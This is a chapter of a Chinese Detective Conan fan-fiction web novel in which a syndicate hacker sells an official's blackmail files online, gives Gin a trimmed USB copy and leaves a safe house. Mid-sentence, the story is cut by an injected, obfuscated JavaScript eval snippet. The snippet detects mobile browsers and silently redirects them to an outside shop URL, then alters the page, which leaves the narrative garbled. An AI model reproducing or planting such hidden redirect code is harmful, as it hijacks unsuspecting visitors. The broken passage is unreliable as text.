22.KDM. *
作品:《[名柯]误入酒厂后》 安室透离开后,茶木泽生这才开始浏览自己拿走的那份独家情报。
为了方便搜寻与浏览,也有可能是为了方便威胁与控制,信息的前任拥有者耐心的做好了分类。
非法侵入、暴力拆迁、逃税漏税、创立空壳公司、贪污渎职……
“哇。”茶木泽生不由得惊叹,“能比这些罪名还要丰富的地方应该只剩下刑法典了吧。”
这里面的东西简直比潘多拉魔盒还要令人疯狂。
只要一打开,就会有人遭殃。
茶木泽生将里面所有的东西都进行了切割与转移,这才点开了那个自己在很多年以后才会登录的网站。
相较于第一次见到它的时候,现在的网站没有那么多伪装,看起来十分简洁,甚至可以说是一目了然,稍微一挖就能找到自己想要的东西。
在这上面,茶木泽生轻车熟路的按照规则开始注册账号。
在填写ID时,他忽然想到一件事。
在来到1996年之前,他在这个情报网站上使用的ID是KDM.F?。
这串字符意在致敬那位声名远扬的传奇黑客,据说这个世界上就没有他搞不到情报。
茶木泽生原本是想直接使用KDM作为自己的代称,但这个ID早已被别人抢注,最后他干脆在后面加了个F?作为后缀。
在遗传学上,F?是子二代的简称。
茶木泽生希望自己能和这个名字一样,能稍微取得一点的成就。
可惜的是在他活跃的那段时间,对方早已没了踪迹。
有人说他得罪的仇家太多,已经死在了世界的某个角落;也有人说他早已改名换姓,开启了崭新的生活。
即便数年没有任何消息传来,依旧丝毫不影响对方的地位以及人们对他的推崇。
按照时间来推算,那位KDM活跃的年代正是二十世纪九十年代中期。
也就是自己目前所处的时代。
自己说不定有机会能和他交流一番。
就是不知道这时候KDM有没有开始活动。
抱着试探的想法,茶木泽生在自己的ID栏上输入了KDM这几个字母。
虽然他可以直接绕过网页禁制,在后台数据库里翻找名单。
但这样得罪的人太多,对于一个手握巨量情报的人来说有些得不偿失。
相比之下,用ID测试是最简单有效的做法。
键盘敲下,映入眼前的却不是茶木泽生所预想的画面,而是一个注册成功的提醒。
看来他还没有开始从事情报行业。
不想抢注前辈荣光的茶木泽生还没来得及注销账号,就看到了一则有意思的信息。
有人在高价购买一位官员近两年的黑料。
茶木泽生扫了一眼。
对方的ID是一段网站自动生成的乱码,看起来毫无章法,但报酬很是丰厚。
对于恰好拥有这段资料的茶木泽生来说,简直和白捡钱没什么差别。
在商定好预付金后,茶木泽生将修改过的文件发了过去。
那份文件里的内容实在是太详细了,如果原封不动的发出去很容易被人联想到近期闹得沸沸扬扬的那份资料。
对方似乎是在查看文件的真伪,过了一会儿,才将剩余的款项发了过来。
整场交易只用了不到半个小时。
看着躺在自己账户上的金额,茶木泽生的嘴角轻轻抿起,看起来对这串数字十分满意。
执行完任务的琴酒来到这间屋子时,看到的就是这么一幅场景。
“你带人回来了?”琴酒默不作声地瞥过茶木泽生所在的位置。
比昨晚的位置要更为向右,这种别扭的姿态只有一种可能。
有一个茶木泽生不太熟悉,甚至可以说是讨厌的人曾站在他的身侧。
琴酒对于其他人的人生没有那么大的掌控欲,但这并不代表着他愿意让别人侵入自己的领地。
能让茶木泽生在这里住一段时间已经是最大的让步了。
“算是临时合作对象。”关掉网页的茶木泽生十分真诚且无奈的语气回答了琴酒的问题,“毕竟我现在没有地方住,只能暂时用一下你的地盘来对行动进行收尾。”
“为此我愿意支付这段时间的房租。”
在琴酒把枪掏出来之前,茶木泽生将那枚U盘丢了过去,用以平息顶头上司的怒火。
自己和安室透一起行动的事瞒不过组织里的其他人,与其被查到了才将东西交出来,倒不如一开始就直接将东西送出去。
反正丢给琴酒的那份是已经整理过的版本,那些比较大的把柄,全被茶木泽生留了下来。
剩下的东西只是一份不痛不痒,但符合一位议员能搜集到的情报。
接过U盘的琴酒忽然想起了他和茶木泽生的第一次见面。
那时,也是因为一枚U盘,他们才决定在测试好服从性后,直接将他纳为代号成员。
能让一向谨慎的茶木泽生特意回到安全屋才收尾,只能让琴酒想到一件事,近期情报组的任务。
坐在沙发上的琴酒状作随意,但十分笃定:“情报组的人。”
居然能让茶木泽生搞到了副本,真是意外之喜。
“他叫安室透,是个新人。”茶木泽生微笑着给出回答,“这应该是他的……转正任务?”
在听到那显而易见的调侃后,琴酒的动作停顿了一下,看向茶木泽生的眼神中带着几分不太明显的探究。
“因为他的任务核心目标被我拦下来了。”
没有错过这个表情的茶木泽生示意琴酒看一看U盘里的内容,他的话带着再明显不过的幸灾乐祸:“我也不保证他能不能正式加入。”
“里面的内容我看了一点,还挺有意思的。”
说完这话,茶木泽生合上了电脑,摆明了是不想让琴酒使用自己的设备。
对此琴酒并不意外。
他也讨厌别人碰自己的枪。
当然,用枪口顶着别人脑袋的情况除外。
那种情况总是令人格外愉悦。
“我想接下来你会需要一个比较安静的空间。”从兜里掏出钥匙的茶木泽生将它放在了一旁的空白区域,“最近几天我都不会回来,你慢慢看。”
“不用,你在这儿。”
撂下这句话的琴酒先茶木泽生一步起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100370|193917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离开。
虽然这是他的安全屋,但在茶木泽生以及安室透轮番来过后,就没那么安全了,暴露的风险成倍增长。
在这种情况下,直接丢弃这个地点是最好的做法。
左右他不缺这一间安全屋。
过了半晌,等到琴酒都走没了影,茶木泽生才反应过来这句话是什么意思。
“还真是败家。”
茶木泽生一边小声的嘀咕着琴酒的所作所以,一边快速拎起自己的设备往外走。
琴酒能想到的他自然也想到了。
扣下那部分情报的行为本身就得罪了情报组的人,而作为其中一员的安室透又知道了这个地点。
此时不走,更待何时。
走在大街上的茶木泽生在附近的公告栏上挑选了一个幸运儿,将自己的需求告知了对方,并率先打了一笔预付金过去。
收到钱的租赁公司热情得不像话,他们在短短的几分钟内就找到了茶木泽生所描述的房型——
距市中心近、附近有大型商超、环境清幽、已经装修好可以直接拎包入住。
为了避免再次遇到组织的人,这一次茶木泽生就连看房都是让中介代拍的视频,只是在最后签合同的时候露了一面。
他本来也可以从组织直接申请一间无人居住的安全屋,琴酒很多落脚点都是这么来的。
但还是那句话,茶木泽生无法信任他们。
折腾了一大通,总算是有地方可住的茶木泽生松了一口气。
但下一秒,他来之不易的假期就被一则信息打断了。
那是宫野志保发来的,询问他明天早上有没有时间。
不知不觉间,又是新的一周,又到了宫野姐妹见面的时间。
茶木泽生躺在沙发上叹了一口气。
为什么自己明明是在休息时间,却莫名其妙的做了这么多事?
难不成自己是天生的劳碌命?
一想到这个可能,茶木泽生的脸色迅速难看起来。
不行,绝对不行!
他这辈子都不想过忙忙碌碌的日子。
像之前那样,一个小程序花上七天,其中三分之二的时间都用来偷懒才符合他的预期。
抱着这种想法的茶木泽生迷迷糊糊的睡了过去。
第二天一早,唤醒他的不是闹钟,而是胃部的痉挛与疼痛。
仔细一算,从昨天到现在就吃了一顿饭,不饿才怪。
好在昨天中介送过来的礼品袋里还有点东西。
茶木泽生艰难的从床上爬起来,顶着一张亚健康的惨白脸在里面翻出来一根看起来没问题的胡萝卜,嘎吱嘎吱啃了起来。
直到啃到牙酸,那股不适感才渐渐消散。
或许是上次在那家咖啡店留下的谈话足够印象深刻,这一次宫野两姐妹选择见面的地点依旧在那儿。
好消息是这家咖啡店距茶木泽生现在的地址不算远,走路就能到。
但为了伪装自己的现居地,他还是特意跑出去一个路口才打了车过去。
待茶木泽生到了地方后,宫野志保已经在熟悉的地方坐下了。她的姐姐还没到,这让她看起来有些孤零零的。

